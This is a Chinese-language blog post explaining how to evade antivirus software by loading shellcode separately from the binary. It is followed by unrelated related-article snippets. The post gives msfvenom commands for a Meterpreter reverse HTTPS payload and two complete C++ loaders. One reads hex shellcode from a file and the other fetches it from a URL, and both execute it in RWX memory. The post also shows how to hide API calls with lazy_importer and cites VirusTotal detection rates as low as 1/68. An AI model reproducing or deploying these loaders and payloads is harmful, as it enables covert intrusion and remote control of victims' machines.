Shellcode分离加载实现免杀的两种方式(VT免杀率:1/68)

news2024/11/18 21:32:37

简介

本文详细介绍了如何通过文件加载和远程URL加载方式实现Shellcode分离加载,以规避安全软件的检测。文章首先描述了通过Metasploit Framework生成的shellcode文件加载的过程,并提供了相关的C++代码。

为了避免被杀毒软件检测,利用动态API调用和lazy_importer项目进行代码优化。其次,文章讨论了如何通过远程URL加载shellcode,也提供了相应的实现代码。整篇文章旨在帮助读者理解shellcode分离加载的具体实现过程和原理,同时通过实践操作增强对这一技术的掌握程度


一、通过文件加载

msf生成shellcode文件

使用msfvenom生成raw格式的文本文件, 但是raw格式的文本文件很容易就会被杀软查杀,为了防止通讯特征被检测到,此处我还做了msf流量加密,此处若想了解msf流量加密的朋友可以去看这篇文章:MSF流量加密

msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.47.155 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=henry -f raw -o shellcode_raw.txt

1


为了不被杀软查杀,并将其保存为十六进制格式

msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.47.155 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=henry -f hex -o shellcode_hex.txt

代码实现

这段代码的作用是从一个以十六进制表示的文件中读取shellcode,然后将其加载到内存中,并执行该shellcode

#include <windows.h>
#include <iostream>
#include <fstream>
#include <sstream>
using namespace std;

// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {
    if (character >= '0' && character <= '9') {
        return character - '0';
    }
    if (character >= 'a' && character <= 'f') {
        return character - 'a' + 10;
    }
    if (character >= 'A' && character <= 'F') {
        return character - 'A' + 10;
    }
    return 0;
}

// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
    for (int i = 0; i < hexString.length(); i += 2) {
        byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
    }
}


int main()
{   

    std::ifstream file("shellcode_hex.txt");  //打开指定文件
    
    size_t size;  //定义文件内容的字节数
    string contents; //定义文件内容
    
    //判断文件是否打开成功
    if (file.is_open()) {
        std::stringstream buffer; //创建一个stringstream对象
        buffer << file.rdbuf();  //将文件的内容复制到该流中
        contents = buffer.str();  //将stringstream对象的内容转换string,并将其存储在contents中

        size = contents.length()/2;  //由于两个十六进制相当于一个字节,因此文件内容长度需除以2
        file.close();  //关闭文件
    }
    
    //printf("%d\n", size); 
    //cout << contents;


    // 为存储转换后的shellcode分配内存
    unsigned char* buffer = (unsigned char*)malloc(size);
    
    // 调用函数将十六进制字符串转换为字节型数组
    hexStringToBytes(contents, buffer, size);

    // 在内存中分配一块可以执行的区域
    void* exec = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    // 将shellcode复制到该区域
    memcpy(exec, buffer, size);
    
    // 执行该shellcode
    ((void(*) ())exec)();
}

代码优化

火绒和WindowsDefender都报毒了, 其原因是内存申请函数VirtualAlloc被检测到了,那就使用动态调用api来绕过检测

1


导入lazy_importer项目来动态调用系统api, 然后在api函数前面添加上(LI_FN),并将函数参数的NULL替换成nullptr

1

修改完代码后360不会报毒了, 上传到virus Total中的进行检测,查杀率为2/70,效果还不错

1

1


二、通过远程url加载

http服务目录放置shellcode文件

另一种shellcode分离加载的方法是通过远程URL加载。首先,我们需要在HTTP服务目录放置shellcode文件,然后启用HTTP服务:python -m http.server 8000

1


代码实现

基于上述代码的基础上,添加了GetUrl_HexContent函数,其作用是从指定url下载内容并将其存储在给定的缓冲区中,随后加载至内存

#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
#include "lazy_importer.hpp"

using namespace std;


// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {
    if (character >= '0' && character <= '9') {
        return character - '0';
    }
    if (character >= 'a' && character <= 'f') {
        return character - 'a' + 10;
    }
    if (character >= 'A' && character <= 'F') {
        return character - 'A' + 10;
    }
    return 0;
}

// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
    for (int i = 0; i < hexString.length(); i += 2) {
        byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
    }
}

/**
 * 从指定的URL下载内容并将其存储到给定的缓冲区中。
 *
 * @param url 要下载的URL
 * @param buffer 存储下载内容的缓冲区
 * @return 下载的字节数(注意:字节数是原始十六进制字符串长度的一半)
 */
size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char>& buffer) {
    HINTERNET hInternet, hConnect;
    DWORD bytesRead;
    DWORD bufferSize = 0;
    DWORD contentLength = 0;
    DWORD index = 0;
    DWORD bufferLength = sizeof(bufferSize);

    // 打开一个与互联网的连接
    hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL) {
        std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;
        return 0;
    }

    // 打开一个URL连接
    hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect == NULL) {
        std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;
        InternetCloseHandle(hInternet);
        return 0;
    }

    // 查询HTTP响应头中的内容长度
    HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index);
    std::vector<char> hexBuffer(contentLength + 1, 0);

    // 读取URL返回的内容到hexBuffer中
    if (!InternetReadFile(hConnect, &hexBuffer[0], contentLength, &bytesRead)) {
        std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;
    }
    else if (bytesRead > 0) {
        hexBuffer[bytesRead] = '\0';
        // 调整buffer的大小,以便存储转换后的字节数据
        buffer.resize(bytesRead / 2);
        // 将十六进制字符串转换为字节型数组
        hexStringToBytes(&hexBuffer[0], &buffer[0], bytesRead / 2);
    }

    // 关闭连接
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    // 返回读取到的字节数(注意:字节数是原始十六进制字符串长度的一半)
    return bytesRead / 2;
}


int main() {
    // 把这个URL换成你的shellcode文件的URL
    LPSTR url = (char*)"http://127.0.0.1:8000/shellcode_hex.txt"; 
    
    //存放恶意代码的数组
    std::vector<unsigned char> buffer;

    //获取远程url的16进制内容,并将其存放至buffer数组
    size_t size = GetUrl_HexContent(url, buffer);

    // 在内存中分配一块可以执行的区域
    char* exec = (char*)LI_FN(VirtualAlloc)(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // 将shellcode复制到该区域
    memcpy(exec, buffer.data(), size);

    // 执行该shellcode
    ((void(*) ())exec)();

    // 打印buffer的内容,只为演示,实际使用中可能并不需要这一步
    /*for (size_t i = 0; i < buffer.size(); i++) {
        printf("%02X ", buffer[i]);
        if ((i + 1) % 16 == 0) {
            printf("\n");
        }
    }*/

    return 0;
}

VirusTotal检测只有一个报毒

1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/563098.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

自动化测试-DevOps如何实施?看看10年测试大佬的总结...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 Selenium4自动化测…

2023最新!软件测试高频面试题基础知识点分享

近期也算是抽取出大部分休息的时间&#xff0c;为大家准备了一份通往大厂面试的小捷径&#xff0c;准备了一整套软件测试复习面试的刷题以及答案&#xff0c;我知道很多同学不知道怎么复习&#xff0c;不知道学习过程中哪些才是重点&#xff0c;其实&#xff0c;你们经历过的事…

内网渗透(八十二)之 CVE-2019-1040 NTLM MIC 绕过漏洞

CVE-2019-1040 NTLM MIC 绕过漏洞 漏洞背景 2019年6月11日,微软发布6月份安全补丁更新。在该安全补丁更新中,对 CVE-2019-1040 漏洞进行了修复。该漏洞存在于Windwos 大部分版本中,当中间人攻击者能够成功绕过NTLM 消息完整性校验(MIC)时,Windows 存在可能可篡改的漏洞…

R语言实践——rWCVP生成可发表级别的物种发现记录矩阵

rWCVP生成可发表级别的物种发现记录矩阵 介绍1. 查询一组示例数据2. 生成和格式化出现矩阵3. 额外地对国家进行处理 介绍 世界维管植物名录&#xff08;WCVP&#xff09;提供了已知的>340&#xff0c;000种维管植物物种的分布数据。该分布数据可用于构建植物物种名录的发现…

解密报错-java.security.InvalidKeyException: Illegal key size(本机解密正常,服务器解密报错)

记录在对接微信接口时需要的问题&#xff0c;对微信消息进行解密时报错&#xff0c;在本地进行解密是正常的&#xff0c;但部署到服务器进行解密就会报错 报错信息 java.security.InvalidKeyException: Illegal key sizeat javax.crypto.Cipher.checkCryptoPerm(Cipher.java:…

windows 系统扩容C盘注意事项

windows系统大家都不陌生&#xff0c;是大家用的最多的操作系统。在实际的使用中&#xff0c;遇到需要扩容C盘的情况不是很多&#xff0c;但是如果遇到了&#xff0c;有以下几个事项需要大家注意&#xff1a; 剩余空间是否充足 不论当前服务器是物理服务器还是虚拟机&#xff…

Slack工作区SolidUI 集成Claude使用流程,替代GPT3.5

背景 Claude 由 OpenAI 副总裁离职创立的和chatGPT对位的AI机器人&#xff0c;号称是chatGPT一生的对手&#xff01; 比之前的一些模型如GPT-3 要强大得多&#xff0c;因此Claude 被认为是ChatGPT 最有力的竞争对手。Claude 的研发公司是专注人工智能安全和研究的初创公司Anth…

谷歌Bard_VS_Baize-7B_VS_文心一言体验对比

2023年4月4日&#xff0c;来自加州大学圣迭戈分校、中山大学和微软亚研的研究者提出了Baize&#xff0c;该模型是让ChatGPT 自我对话&#xff0c;批量生成高质量多轮对话数据集&#xff0c;利用该数据集对LLaMA进行微调得到的&#xff08;目前版本还没有RLHF&#xff09; 关于B…

使用Dockerfile搭建rtthread 瑞萨开发环境

文章目录 1. 装docker2. 拉代码3. 构建镜像4. 启动容器5. vscode打开并编译6. 程序下载 整体分为6步 安装docker拉取rtthread_瑞萨仓库代码使用仓库中的dockerfile构建一个镜像使用构建好的镜像启动一个容器使用vscode打开并编译代码下载程序 1. 装docker Docker的安装方式可…

vue自动更新版本号

在项目中创建buildTime.js //npm run build打包前执行此段代码 let fs require(fs); //返回package的json数据 function getPackageJson() { let data fs.readFileSync(./package.json);//fs读取文件 return JSON.parse(data);//转换为json对象 } let packageData getPackag…

FreeRTOS_中断配置和临界段

目录 1. Cortex-M 中断 1.1 中断简介 1.2 中断管理简介 1.3 优先级分组定义 1.4 优先级设置 1.5 用于中断屏蔽的特殊寄存器 1.5.1 PRIMASK 和 FAULTMASK 寄存器 1.5.2 BASEPRI 寄存器 2. FreeRTOS 中断配置宏 2.1 configPRIO_BITS 2.2 configLIBRARY_LOWEST_INTERRU…

IOC(控制反转)

目录 理解IOC 理解IOC容器 Spring IOC IOC优点 什么是依赖注入DI DI是如何实现的呢&#xff1f; 总结 : IOC实现的基本过程 容器如何放入Bean对象? IOC实现的基本过程 IoC容器在Spring的实现 理解IOC IoC 是 Inversion of Control 的简写&#xff0c;译为“控制反…

容器部署 redis 哨兵集群 【问题笔记】

目录 1.哨兵模式 &#xff08;sentinel&#xff09; 启动时报错&#xff1a;Cant resolve instance hostnames 2.哨兵模式下 master 节点崩掉后无法切换从节点为master节点 1.哨兵模式 &#xff08;sentinel&#xff09; 启动时报错&#xff1a;Cant resolve instance hostna…

Axure教程—单色折线图(中继器)

本文将教大家如何用AXURE中的中继器制作单色折线图 一、效果介绍 如图&#xff1a; 预览地址&#xff1a;https://d84rfm.axshare.com 下载地址&#xff1a;https://download.csdn.net/download/weixin_43516258/87814278 二、功能介绍 简单填写中继器内容即可动态显示值样…

Call for Papers丨第十一届全国社会媒体处理大会,AI Open设独立专刊投稿渠道

全国社会媒体处理大会&#xff08;SMP&#xff09;专注于以社会媒体处理为主题的科学研究&#xff0c;为传播社会媒体处理最新的学术研究与技术成果提供广泛的交流平台&#xff0c;旨在构建社会媒体处理领域的产学研生态圈&#xff0c;成为中国乃至世界社会媒体处理的风向标。 …

2023年了PWA开发模式在国内还有发展空间吗?

随着国内外技术及生态的迅猛发展&#xff0c;应用程序的开发模式也在不断演进。在过去&#xff0c;就我及身边同事的经验而言&#xff0c;会常常需要在不同的平台&#xff08;如Android、iOS&#xff09;编写不同的代码&#xff0c;导致开发成本和维护困难的问题。 然而&#…

WBS项目分解的7大基本原则

制定和分解WBS&#xff0c;需要遵循的基本原则&#xff1a; 1、唯一性 每一项工作任务在WBS中是唯一的。 WBS项目分解的7大基本原则 2、负责制 每一项任务都需要明确责任人&#xff0c;一人负责&#xff0c;其他人参与。 3、可测量性 每一项任务都应该是可以量化和测量的&#…

5月份招了个00后测试堪称卷王之王,让人崩溃...

前段时间公司新来了个同事&#xff0c;听说大学是学的广告专业&#xff0c;因为喜欢IT行业就找了个培训班&#xff0c;后来在一家小公司干了三年&#xff0c;现在跳槽来我们公司。来了之后把现有项目的性能优化了一遍&#xff0c;服务器缩减一半&#xff0c;性能反而提升4倍&am…

非流式语音合成和流式语音合成

语音合成技术&#xff1a;https://zhuanlan.zhihu.com/p/113282101 流式语音合成技术揭秘与实践 1、非流式语音合成&#xff0c;一次性输入文字&#xff0c;一次性输出语音&#xff0c;注重语音合成系统的 整体运算速度 &#xff0c;不适合做语音交互&#xff1b;流式语音合成…

如何在 Linux Mint 21 上安装 VirtualBox 7?

VirtualBox 是一款开源的虚拟化软件&#xff0c;它可以让你在一台计算机上同时运行多个操作系统。本文将详细介绍如何在 Linux Mint 21 上安装 VirtualBox 7。以下是安装过程的详细步骤&#xff1a; 步骤一&#xff1a;下载 VirtualBox 7 首先&#xff0c;你需要下载 VirtualB…